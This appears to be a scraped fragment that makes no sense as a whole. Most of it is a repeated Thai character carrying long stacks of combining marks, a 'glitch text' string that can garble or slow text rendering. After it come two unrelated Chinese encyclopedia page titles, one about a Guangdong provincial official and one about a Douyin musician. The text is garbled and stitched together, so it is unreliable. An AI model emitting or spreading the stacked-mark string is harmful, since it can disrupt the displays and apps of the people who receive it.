ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็็็้้ด้้้้้็้้้็็็

李旭东（广东省科学技术厅党组成员、副厅长）_百度百科

王子健（抖音原创音乐人）_百度百科